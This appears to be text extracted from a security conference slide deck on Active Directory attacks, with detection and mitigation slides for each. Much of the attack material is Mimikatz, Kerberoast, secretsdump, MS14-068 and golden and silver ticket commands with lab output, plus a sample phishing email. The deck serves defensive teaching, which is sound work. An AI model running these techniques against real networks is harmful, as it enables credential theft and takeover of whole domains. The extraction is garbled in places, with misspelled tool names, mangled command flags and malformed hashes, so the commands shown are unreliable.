Red vs. Blue:  
Modern Active Directory Attacks, Detection, & Protection

Sean Metcalf (@PyroTek3)

sean [@] adsecurity . . org  
ADSecurity.org
ABOUT

❖ Chief Technology Officer - DAn Solutions
❖ Microsoft Certified Master (MCM) Directory Services
❖ Security Researcher / Purple Team
❖ Security Info -> ADSecurity.org
AGENDA

Red Team (Recon, Escalate, Persist)

Blue Team (Detect, Mitigate, Prevent)
CVS and Walmart Canada Are Investigating a Data Breach
Massive breach at health care company Anthem Inc.

21 Carefirst Blue Cross Breach Hits 1.1M
MAY 15

17 Premera Blue Cross Breach Exposes Financial, Medical Records
MAR 15

How the Sony Breach Changes Cybersecurity
Richard Bejtlich and Shuman Ghosemajumder Say the Key Is Limiting Damage

09 Anthem Breach May Have Started in April 2014
FEB 15

Neglected Server Provided Entry for JPMorgan Hackers
By MATTHEW GOLDSMITH, NICOLE PERLROTH and MICHAEL CORKERY DECEMBER 22, 2014 8:41 PM
Perimeter Defenses Are Easily Bypassed
Dear Anthem Client,

We wanted to make you aware of a data breach that may have affected your personal health information and credit card data. The data which was accessed may impact clients who made credit or debit card payments for healthcare or who got treatment during the year 2014.

Your trust is a top priority for Anthem, and we deeply regret the inconvenience this may cause. The privacy and protection of our clients’ health care information is a matter we take very seriously and we are working diligently to resolve the incident.

To subscribe to a free year of credit card account protection please click on the link below and follow the instructions that will be required:

[Click Here To Get Your Free Year Of Credit Card Protection]

Source: KrebsonSecurity.com
Verizon DBIR: 2014 Breach Statistics

60%
ATTACKERS ARE ABLE TO COMPROMISE AN ORGANIZATION WITHIN MINUTES.

23% / 11%
OPEN PHISHING MESSAGES / CLICK ON ATTACHMENTS.

50%
OPEN E-MAILS AND CLICK ON PHISHING LINKS WITHIN THE FIRST HOUR.

99.9%
EXPLOITED VULNERABILITIES WERE COMPROMISED MORE THAN A YEAR AFTER THE CVE WAS PUBLISHED.
About half of CVEs had PoCs in <1 month

95%
MALWARE TYPES SHOWED UP FOR LESS THAN A MONTH,

70 - 90%
MALWARE SAMPLES ARE UNIQUE TO AN ORGANIZATION.

20%
Incidents related to insider threat

Source: Verizon Data Breach Investigation Report 2015
http://www.verizonenterprise.com/DBIR/
Red Team (Offense)
Attacker Goals

- Data Access
- Exfiltration
- Persistence

Privilege escalation if needed
PowerShell Overview

- Dave Kennedy: “Bash for Windows”
- PowerShell.exe only an entry point into PowerShell

<table>
<thead>
<tr>
<th>PowerShell</th>
<th>Desktop OS</th>
<th>Server OS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version 2</td>
<td>Windows 7</td>
<td>Windows 2008 R2</td>
</tr>
<tr>
<td>Version 3</td>
<td>Windows 8</td>
<td>Windows 2012</td>
</tr>
<tr>
<td>Version 4</td>
<td>Windows 8.1</td>
<td>Windows 2012 R2</td>
</tr>
<tr>
<td>Version 5</td>
<td>Windows 10</td>
<td>Windows 2016</td>
</tr>
</tbody>
</table>
PowerShell Weaponized

- PowerSploit
- Nishang
- PowerUp
- Empire
  (PowershellEmpire.com)
“SPN Scanning” Service Discovery

- SQL servers, instances, ports, etc.
  - MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
- Exchange Client Access Servers
  - exchangeMDB/adsmsEXCAS01.adsecurity.org
- RDP
  - TERMSERV/adsmsEXCAS01.adsecurity.org
- WSMAN/WinRM/PS Remoting
  - WSMAN/adsmsEXCAS01.adsecurity.org
- Hyper-V Host
  - Microsoft Virtual Console Service/adsmsHV01.adsecurity.org
- VMWare VCenter
  - STS/adsmsVC01.adsecurity.org
### SPN Scanning for MS SQL Servers

#### Domain
lab.adsecurity.org

#### ServerName
adsMSSQL02.lab.adsecurity.org

#### Port
9834

#### Instance

#### ServiceAccountDN
{CN=svc-adssQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}

#### OperatingSystem
{Windows Server 2008 R2 Datacenter}

#### OSServicePack
{Service Pack 1}

#### LastBootup
3/8/2015 1:07:25 AM

#### OSVersion
{6.1 (7601)}

#### Description
{Production SQL Server}

#### SrvAcctUserID
svc-adssQLSA

#### SrvAcctDescription
SQL Server Service Account

---

**Discover-PSMSSQLServers**

SPN Scanning for Service Accounts

Find-PSServiceAccounts
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts

SPN Directory:
http://adsecurity.org/?page_id=183
Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.

- “Kerberoast” python-based TGS password cracker.
- No elevated rights required.
- No traffic sent to target.
Kerberoast: Request TGS Service Ticket


Id: uuid-92850ac-f0a6-14ea-9b26-0add40e83266-2
SecurityKeys: (System.IdentityModel.Tokens.InMemorySymmetricSecurityKey)
ValidFrom: 6/12/2015 1:21:49 AM
ValidTo: 6/12/2015 11:21:49 AM
ServicePrincipalName: MSSQL/adsdb01.lab.adsecurity.org:1433
SecurityKey: (System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

PS C:\> klist
Current LogonId is 0:0x30e265
Cached Tickets: (2)

#0>
Client: JoeUser @ LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: AES-256-CBC-HMAC-SHA1-96
Ticket Flags: 0x40100000 -> forwardable renewable pre_authentic name_canonicalize
End Time: 6/12/2015 7:21:49 (local)
Renew Time: 6/18/2015 21:21:49 (local)
Session Key Type: AES-256-CBC-HMAC-SHA1-96

#1>
Client: JoeUser @ LAB.ADSECURITY.ORG
Server: MSSQL/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMACCNT
Ticket Flags: 0x40100000 -> forwardable renewable pre_authentic name_canonicalize
End Time: 6/12/2015 7:21:49 (local)
Renew Time: 6/18/2015 21:21:49 (local)
Session Key Type: RSADSI RC4-HMACCNT
Kerberoast: Save & Crack TGS Service Ticket

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
  Server Name : krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  * Saved to file : 0-40e10000-JoeUser@krbtgt~LAB.ADSECURITY.ORG-LAB.ADSECURITY.ORG.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
  Server Name : MSSQL/adstdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
  * Saved to file : 1-40a10000-JoeUser@MSSQL~adstdb01.lab.adsecurity.org-1433-LAB.ADSECURITY.ORG.kirbi

root@kali:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSSQL.kirbi
found password for ticket 0: SQL_P@55w0rd#! File: MSSQL.kirbi
All tickets cracked!
Blue Team Response:
TGS Password Cracking

Detection (noisy):
– Event ID 4769: A Kerberos service ticket was requested

Mitigation:
– Service Account passwords >25 characters
– Use (Group) Managed Service Accounts
Group Policy Preferences Credential Storage

The private key is publicly available on MSDN

2.2.1.1 Preferences Policy File Format
   2.2.1.1.1 Common XML Schema
   2.2.1.1.2 Outer and Inner Element Names and CLSIDs
   2.2.1.1.3 Common XML Attributes
   2.2.1.1.4 Password Encryption
   2.2.1.1.5 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
Exploiting Group Policy Preferences

\"<DOMAIN>\SYSVOL<DOMAIN>\Policies\"

```xml
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
-<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-B1E1-42A2-B7DA-118402BE4C33}"
<Properties action="U" newName="ADSAdmin" fullName="" description=""
cpassword="RI133B2Wl2CiIOCau1DtrtTe3wdFwzCiWB5PSAxAxMDstchJt3bL0Uie0Baz/7rdQjugTonF3ZWAKaIiRvdr4JgQ
changeLogon=0 noChange=0 neverExpires=0 acctDisabled=0 subAuthority="RID_ADMIN" userName="Administrator (built-in)" expires="2015-02-17" />
</User>
</Groups>
```
Blue Team Response: Exploiting GPP

Detection:
– XML Permission Denied Checks
  • Place xml file in SYSVOL & set Everyone:Deny
  • Audit Access Denied errors
– GPO doesn’t exist, no legit reason for access

Mitigation:
– Install KB2962486 on every computer used to manage GPOs
– Delete existing GPP xml files in SYSVOL containing passwords
Pivoting with Local Admin

- Using GPP Credentials
- Connect to other computers using ADSAdmin account
- Compromise Local Admin creds = Admin rights on all
- Always RID 500 – doesn’t matter if renamed.
- Mimikatz for more credentials!
Blue Team Response: Local Admin

Detection:
– Local admin account logon

Mitigation:
– Use Microsoft LAPS (or similar) for automatic local admin password change.
– Deploy KB2871997 on all systems & disallow local account logon across network via GPO.
– Limit workstation to workstation communication.
– Implement network segmentation.
Mimikatz: The Credential Multi-tool

- **Dump credentials**
  - Windows protected memory (LSASS). *
  - Active Directory Domain Controller database . *
- **Dump Kerberos tickets**
  - for all users. *
  - for current user.
- **Credential Injection**
  - Password hash (pass-the-hash)
  - Kerberos ticket (pass-the-ticket)
- **Generate Silver and/or Golden tickets**
- **And so much more!**
Dump Credentials with Mimikatz

User

```
\$\$ cracked<br>
```

Service Account

```
\$\$ cracked
```
Kerberos “Double Hop” Issue
Kerberos Unconstrained Delegation

Delegation is a security-sensitive operation, which allows services to act on behalf of another user.

- Do not trust this computer for delegation
- Trust this computer for delegation to any service (Kerberos only)
- Trust this computer for delegation to specified services only
  - Use Kerberos only
  - Use any authentication protocol

Services to which this account can present delegated credentials:
Discover Servers Configured with Delegation

```powershell
PS C:\Windows\system32> Import-Module ActiveDirectory
Get-ADComputer -Filter {((TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515))} -Properties 'TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description

Description : 
DistinguishedName : CN=ADSB01,OU=Servers,OU=Systems,DC=lab,DC=adsecurity,DC=org
DNSHostName : ADSB01.lab.adsecurity.org
Enabled : True
Name : ADSB01
ObjectClass : computer
ObjectGUID : 6bd00906-eb69-4415-9f69-f6694602bba1
SamAccountName : ADSB01$
servicePrincipalName : {WSMAN/ADSB01.lab.adsecurity.org, WSMAN/ADSB01, TERMSRV/ADSB01, TERMSRV/ADSB01.lab.adsecurity.org...}
SID : S-1-5-21-1583770191-140008446-3268284411-2102

TrustedForDelegation : True
TrustedToAuthForDelegation : False
UserPrincipalName : 
```
Kerberos Unconstrained Delegation

1. AS REQ (request TGT)
2. AS REP (receive TGT)
3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
   TGS contains user’s TGT!
6. TGS REQ
   (present user’s TGT for TGS)
7. TGS REP
   (TGS based on user’s TGT)

Domain Controller

User’s Workstation

Application Server
(Unconstrained Delegation)
mimikatz(commandline) # sekurlsa::tickets /export

Authentication Id : 0x167402 (00000000:00028dea)

Session          : Network from 0
User Name        : LukeSkywalker
Domain           : ADSECUR
Logon Server     : (null)
SID              : 8-1-5-21-1583770191-140008445-326828411-1109

* Username = LukeSkywalker
* Domain = LAB.ADSECURITY.ORG
* Password = (null)

Group 0 - Ticket Granting Service

Group 1 - Client Ticket

Group 2 - Ticket Granting Ticket

mimikatz(commandline) # kerberos::ptt /0:28deal-2-0-60a10000-LukeSkywalker@krbtgt-LAB.ADSECURITY.ORG.kirbi

mimikatz(commandline) # exit

Bye!
PS C:\> klist

Current LogonId is 0:0x2b3d7
Cached Tickets: <1>

#0
Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
Exploiting Kerberos Delegation

PS C:\temp\> Enter-PSSession -ComputerName ADSDC02.lab.adsecurity.org
[adsdc02.lab.adsecurity.org]\: PS C:\Users\LukeSkywalker\Documents\ c:\temp\mimikatz\Mimikatz "privilege::debug"
a::krbtgt" exit

.########. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 29 2015 23:55:17)
.### ^ ###
### / \ ### /* ***/
### v ### Benjamin DELPY ‘gentilkiwi‘ < benjamin@gentilkiwi.com >
'### u ###' http://blog.gentilkiwi.com/mimikatz
'#####'

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::krbtgt

Current krbtgt: 6 credentials
* rc4_hmac_nt : 1a33736fd25ad06dd9c61310173bc326
* rc4_hmac_old : 1a33736fd25ad06dd9c61310173bc326
* rc4_md4 : 1a33736fd25ad06dd9c61310173bc326
* aes256_hmac : 20d?c5cefb8aebf78e79e88becbba1c2c819b2ed432ff32141c5f7104e69e
* aes128_hmac : 2433f1c6d10a2d466294ff983a625956
* des_cbc_md5 : f1f82968baa1f13?
Blue Team Response: Kerberos Delegation

Detection:
– Delegation events

Mitigation:
– Only use Kerberos Constrained Delegation
– Disable delegation for admin accounts
Dumping AD Domain Credentials

- Get access to the NTDS.dit file & extract data.
  - Copy AD database from remote DC.
  - Grab AD database copy from backup.
  - Get Virtual DC data.
- Dump credentials on DC (local or remote).
  - Run Mimikatz (WCE, etc) on DC.
  - Invoke-Mimikatz on DC via PS Remoting.
Finding NTDS.dit on the Network

- Are your DC backups properly secured?
- Domain Controller storage?
- Who administers the virtual server hosting virtual DCs?
- Are your VMWare/Hyper-V host admins considered Domain Admins?

*Hint: They should be.*
Dump LSASS Process Memory

```
minikatz\(commandline\) # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : 'c:\temp\lsass.dmp'

minikatz\(commandline\) # sekurlsa::logonpasswords
Opening : 'c:\temp\lsass.dmp' file for minidump...

Authentication Id : 0 ; 996 \(00000000:00003e4\)
Session : Service from 0
Authentication Id : 0 ; 218943 \(00000000:0003573\)
Session : Interactive from 1
User Name : ADSA\Administrator
Domain : ADSECLAB
Logon Server : ADSDC02
Logon Time : 5/30/2015 11:01:04 PM
SID : S-1-5-21-1387203482-2957264255-828990924-500

msv:
[0000003] Primary
* Username : ADSA\Administrator
* Domain : ADSECLAB
* LM : e52ec67419a9a226e7e4a5ff986d146
* NTLM : 7c08d63a2f48f045971bc2236e3f3ac
* SHA1 : 05a6f6b30c66560471cd5a30ac5604642a74e31

tapk:
* Username : ADSA\Administrator
* Domain : ADSECLAB
* Password : Password99!

wdigest:
* Username : ADSA\Administrator
* Domain : ADSECLAB
* Password : Password99!

kerberos:
* Username : ADSA\Administrator
* Domain : LAB\ADSECURITY.ORG
* Password : Password99!
```
Dump AD Credentials with Mimikatz

```
mimikatz(powershell) # lsadump::samrpc /patch
Domain : ADSECLAB / S-1-5-21-1473643419-774954089-2222329127

RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 6f40d9c1cab7f73d298d3c3d94163543d

RID : 000001f5 (501)
User : Guest
LM :
NTLM :

RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 7e2a0e20b51d0229f2489210b6576ede

RID : 000003e8 (1000)
User : admin
LM :
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac

RID : 00000452 (1106)
User : LukeSkywalker
LM :
NTLM : 177af8ab46321ceef22b4e8376f2dba7

RID : 00000453 (1107)
User : HanSolo
LM :
NTLM : 269c0c63a623b2e062dfd861c9b82818

RID : 00000454 (1108)
```
NTDSUtil?

PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343\VOLUMECS$
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFAGMENTATION mode...
Source Database: C:\$SNAP_201503242343\VOLUMECS\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation  Status (% complete)

0  10  20  30  40  50  60  70  80  90  100

..........................................

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
Dump Password Hashes from NTDS.dit

root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -nt
ds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313075531b01e41a841a779186116575b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 6xc84e1ce7a0ab57df16e8d8f9b86c98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit
ADSDC02$: 2101:aed3b435b51404eeaad3b435b51404ee:eaac459f0664fe03b734a1890c9704e::
ADSDC01$: 1600:aed3b435b51404eeaad3b435b51404ee:406c1c111513e3a98867166967f9f58::
ADSDC05$: 1104:aed3b435b51404eeaad3b435b51404ee:aabb5e3df7bf11ebac18b07a8e65d89::
ADDC04$: 1105:aed3b435b51404eeaad3b435b51404ee:846c1a9d1db2d70b6d5bd1927e6299f27::
Guest: 501:aced3b435b51404eeaad3b435b51404ee:31d6f6d16ee931173c:59d7e6089c0::
Administrator: 500:aced3b435b51404eeaad3b435b51404ee:7c08d63a2f43f045971bc2236ed3f3ac::
krbtgt: 502:aced3b435b51404eeaad3b435b51404ee:8a2f71accdd519a2e5157800216d2d178a::
lab.adsecurity.org\Admin: 1103:aed3b435b51404eeaad3b435b51404ee:7c08d63a2f43f045971bc2236ed3f3ac::
lab.adscurity.org\LukeSkywalker: 2501:aced3b435b51404eeaad3b435b51404ee:177a8ab46321eeef22b4e8376f2dba7::
lab.adscurity.org\HanSolo: 2602:aed3b435b51404eeaad3b435b51404ee:269c0c63a623b2e062df8061c95b2818::
lab.adscurity.org\JcUser: 2605:aed3b435b51404eeaad3b435b51404ee:7c08d63a2f43f045971bc2236ed3f3ac::
ADSwKWIN$: 2606:aed3b435b51404eeaad3b435b51404ee:76555313c63b5dfffacaffa666b75fddb::
lab.adscurity.org\ServerAdmin: 2607:aed3b435b51404eeaad3b435b51404ee:98e0ee4dd583f80274072004ffed06b63cd::
lab.adscurity.org\Nathaniel.Morris: 2608:aed3b435b51404eeaad3b435b51404ee:f4d0401e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\Madison.Martinez: 2609:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\Kaitlyn.Allen: 2610:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\Isabella.Wilson: 2611:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\John.Wood: 2612:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\Mark.Harris: 2613:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
lab.adscurity.org\Alex.Wright: 2614:aed3b435b51404eeaad3b435b51404ee:fd4d001e4bd2c84c86941f5b70e2f1f6::
Over Pass the Hash

✦ Use the NTLM password hash to get Kerberos ticket(s)
Kekeo Tool: DCSync
Impersonate a Domain Controller to get password hashes!
Blue Team Response: Credential Theft

Detection: *Difficult*

Mitigation:

- Protect DC backups & storage
- Protect admin credentials
- Admins only logon to specific systems
- Limit Service Account rights/permissions
- Set all admin accounts to “sensitive & cannot be delegated”
- Separate Admin workstations for administrators (locked-down & no internet).
MS14-068: (Microsoft) Kerberos Vulnerability

- MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- Domain Controller Kerberos Service (KDC) didn’t correctly validate the PAC checksum.
- Effectively re-write user ticket to be a Domain Admin.
- Own AD in 5 minutes

http://adsecurity.org/?tag=ms14068
MS14-068 (PyKEK 12/5/2014)

c:\temp\pykek>ms14-068.py -u bobafett@lab.adsecurity.org -p Password99! -s $-1-5-21-1473643419-77954889-22223 29127-1617 -d adsc02.lab.adsecurity.org

[*] Building AS-REQ for adsc02.lab.adsecurity.org... Done!
[*] Sending AS-REQ to adsc02.lab.adsecurity.org... Done!
[*] Receiving AS-REP from adsc02.lab.adsecurity.org... Done!
[*] Parsing AS-REP from adsc02.lab.adsecurity.org... Done!
[*] Building TGS-REQ for adsc02.lab.adsecurity.org... Done!
[*] Sending TGS-REQ to adsc02.lab.adsecurity.org... Done!
[*] Receiving TGS-REP from adsc02.lab.adsecurity.org... Done!
[*] Parsing TGS-REP from adsc02.lab.adsecurity.org... Done!
[*] Creating cache file 'TGT_bobafett@lab.adsecurity.org.cache'... Done!

kinit

Principal: (O) : bobafett ; @ LAB.ADSECURITY.ORG

Data:

Service Name (O1) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (O1) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (O1) : bobafett ; @ LAB.ADSECURITY.ORG
Flags: 50a00000 : pre_authentic ; renewable ; proxiable ; forwardable ;
Session Key: 0x000000017 - rc4_hmac_md5
04f9e374b332b0477c61955dac60721c5
Ticket: 0x00000000 - null
  k usa = 2
  * Injecting ticket : OK

kinit

Bye!
c:\Temp\pykek>net use \\adsc02.lab.adsecurity.org\admin$
The command completed successfully.
MS14-068 Kekeo Exploit

PS C:\temp\kekeo> .\ms14068.exe /domain:lab.adsecurity.org /user:JoeUser /password:Password99! /ptt

.#####. MS14-068 POC 1.1 (x86) release "Kiwi en C" (Apr 19 2015 00:51:32)
.### ^ ###
### \ ### /* */
### \ ### Benjamin DELPY `gentilkiwi` < benjamin@gentilkiwi.com >
'### v ###' http://blog.gentilkiwi.com <oe.eo>
'########'
... with thanks to Tom Maddock & Sylvain Monne */ */

[KDC] `ADSDC01.lab.adsecurity.org` will be the main server
[AUTH] Impersonation
[KDC] 3 server(s) in list
[SID/RID] `JoeUser @ lab.adsecurity.org` must be translated to SID/RID

user : JoeUser
domain : lab.adsecurity.org
password : ****
sid : $-1-5-21-1583770191-140008446-3268284411
rid : 01f
key : %08d63a2f48f0d5971bc2236ed3f3ac {rc4_hmac_nt}
ticket : ** Pass The Ticket **

[Level 1] Reality <AS-REQ>
[Level 2] Van Chase <PAC TIME>
  * PAC generated
  * PAC """"signed"""
[Level 3] The Hotel <TGS-REQ>
[Level 4] Snow Fortress <TGS-REQ>
  * ADSDC01 : KDC_ERR_SUBTYPE_NOSUPP (15)
  * ADSDC02 : [level 5] Limbo ! <KRB-CREDS> : * Ticket successfully submitted for current session

Auto inject BREAKS on first Pass-the-ticket
PS C:\temp\kekeo> net use \\adsdc02.lab.adsecurity.org\admin
The command completed successfully.
User to Admin in 5 Minutes?
Blue Team Response: MS14-068

Detection:
- IDS Signature for Kerberos AS-REQ & TGS-REQ both containing “Include PAC: False”

Mitigation:
- Patch servers with KB3011780 before running DCPromo – patch the server build.
- Check patch status before running DCPromo
Golden Ticket (Forged TGT) Communication

1. User’s Workstation
2. Domain Controller
3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)

PAC Validation Request (Optional)
PAC Validation Response (Optional)
Golden Ticket Limitation

✦ Admin rights limited to current domain.
✦ Doesn’t work across domains in Forest unless in EA domain.

```
mimikatz(commandline) # kerberos::golden /admin:Administrator /domain:resource.lab.adsecurity.org /sid:S-1-5-21-2242142109-4128614026-4135338336 /krbtgt:488b468d0bc43615a1425c6a735e85bb /startoffset:0 /endin:600 /renewmax:10000 /ptt
User : Administrator
Domain : resource.lab.adsecurity.org
SID : S-1-5-21-2242142109-4128614026-4135338336
User Id : 500
Group Id : S-1-5-21-2242142109-4128614026-4135338336
ServiceKey: 488b468d0bc43615a1425c6a735e85bb - rc4_hmac_nt
-> Ticket : << Pass The Ticket >>

  * PAC generated
  * PAC signed
  * EncTicketPart generated
  * EncTicketPart encrypted
  * krbtgt generated

Golden ticket for 'Administrator @ resource.lab.adsecurity.org' successfully submitted for current session
```

```
mimikatz(commandline) # exit
PS C:\temp\mimikatz> net use \ads2dc12.resource.lab.adsecurity.org\admin$
The command completed successfully.
PS C:\temp\mimikatz> net use \adsdc03.lab.adsecurity.org\admin$
The password is invalid for \adsdc03.lab.adsecurity.org\admin.
```
Golden Ticket – More Golden!

- Mimikatz now supports SID History in Golden Tickets

```
\$minikatz\(commandline\) \# kerberoast\(golden\ /admin:Administrator /domain:resource.lab.adsecurity.org /sid:S-1-5-21-2242142109-4128614026-4135338336 /sl/h:8-1-5-21-1583776191-140008446-3268284411-512 /krbtgt:488b46d8bc43615a425c6a735e85bb /startoffset:0 /endin:500 /rename:max:10000 /p1t
User : Administrator
Domain : resource.lab.adsecurity.org
SID : S-1-5-21-2242142109-4128614026-4135338336
User Id : 500
Group Id : 513 512 520 513 519
Extra SID : S-1-5-21-1583776191-140008446-3268284411-512
ServiceKey : 488b46d8bc43615a425c6a735e85bb - rc4_hmac.nt
-> Ticket : ** Pass The Ticket **
    \* PNC generated
    \* PNC signed
    \* EncTicketPart generated
    \* EncTicketPart encrypted
    \* krbCred generated

Golden ticket for 'Administrator @ resource.lab.adsecurity.org' successfully submitted for current session
```

```
\$minikatz\(commandline\) \# exit
```

```
\$PS C:\temp\minikatz> net use \ads2dc12.resource.lab.adsecurity.org\admin$
The command completed successfully.
```

```
\$PS C:\temp\minikatz> net use \adsdc02.lab.adsecurity.org\admin$
The command completed successfully.
```

```
\$PS C:\temp\minikatz> net use \adsdc03.lab.adsecurity.org\admin$
The command completed successfully.
```
Silver Ticket (Forged TGS) Communication
Silver Ticket: Domain Controller Exploitation

• Attacker dumped AD & has all domain creds.
• Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x).
• Attacker still has Domain Controller computer account password hashes.

What is possible with these?
Silver Ticket: Domain Controller Exploitation


User: LukeSkywalker
Domain: LAB.ADSECURITY.ORG
SID: S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service: cifs
Target: adsdc02.lab.adsecurity.org
-> Ticket: ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
Silver Ticket: Domain Controller Exploitation

```powershell
PS C:\temp\mimikatz> copy c:\temp\Invoke-Mimikatz.ps1 \\adsdc02.lab.adsecurity.org\c$\windows\temp
PS C:\temp\mimikatz> dir \\adsdc02.lab.adsecurity.org\c$\windows\temp

Directory: \\adsdc02.lab.adsecurity.org\c$\windows\temp

Mode  LastWriteTime    Length  Name
-----  ---------------  ------  ----
-d----- 3/15/2015  12:15 AM  1   DMI2083.tmp
-a----- 2/16/2015  2:27 AM   0   DMI21EA.tmp
-a----- 2/16/2015  2:27 AM   0   DMI25E2.tmp
-a----- 2/16/2015  2:27 AM   0   DMI433E.tmp
-a----- 2/17/2015  12:48 AM  0   DMI8230.tmp
-a----- 2/17/2015  12:09 AM  0   DMI94FC.tmp
-a----- 2/17/2015  12:48 AM  0   DMIA7D8.tmp
-a----- 2/17/2015  12:48 AM  0   DMIA836.tmp
-a----- 2/17/2015  12:48 AM  0   DMIAE6D.tmp
-a----- 2/17/2015  12:09 AM  0   DMI6611.tmp
-a----- 2/17/2015  12:09 AM  0   DMI66DC.tmp
-a----- 2/17/2015  12:09 AM  0   DMI488.tmp
-a----- 2/17/2015  12:48 AM  0   DMI4C7.tmp
-a----- 2/17/2015  12:09 AM  0   DMI563.tmp
-a----- 2/18/2015  2:27 AM   0   DMI80A1C.tmp
-a----- 2/18/2015  8:54 PM   676916 Invoke-Mimikatz.ps1
```
Silver Ticket: Domain Controller Exploitation

```bash
User: LukeSkywalker
Domain: LAB.ADSECURITY.ORG
SID: S-1-5-21-138720482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service: HOST
Target: adsdc02.lab.adsecurity.org
-> Ticket: ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for LukeSkywalker@LAB.ADSECURITY.ORG successfully submitted for current session

minikatz(commandline) # exit
Bye!
P$ C:\temp\minikatz
```
Silver Ticket: Domain Controller Exploitation

Cached Tickets: (1)

Client: LukeSkywalker @ LAB.ADEXEURITY.ORG
Server: HOST/adsc02.lab.adsecurity.org @ LAB.ADEXEURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 3/15/2015 0:19:42 (local)
End Time: 3/12/2025 0:19:42 (local)
Renew Time: 3/12/2025 0:19:42 (local)
Session Key Type: RSADSI RC4-HMAC(NT)

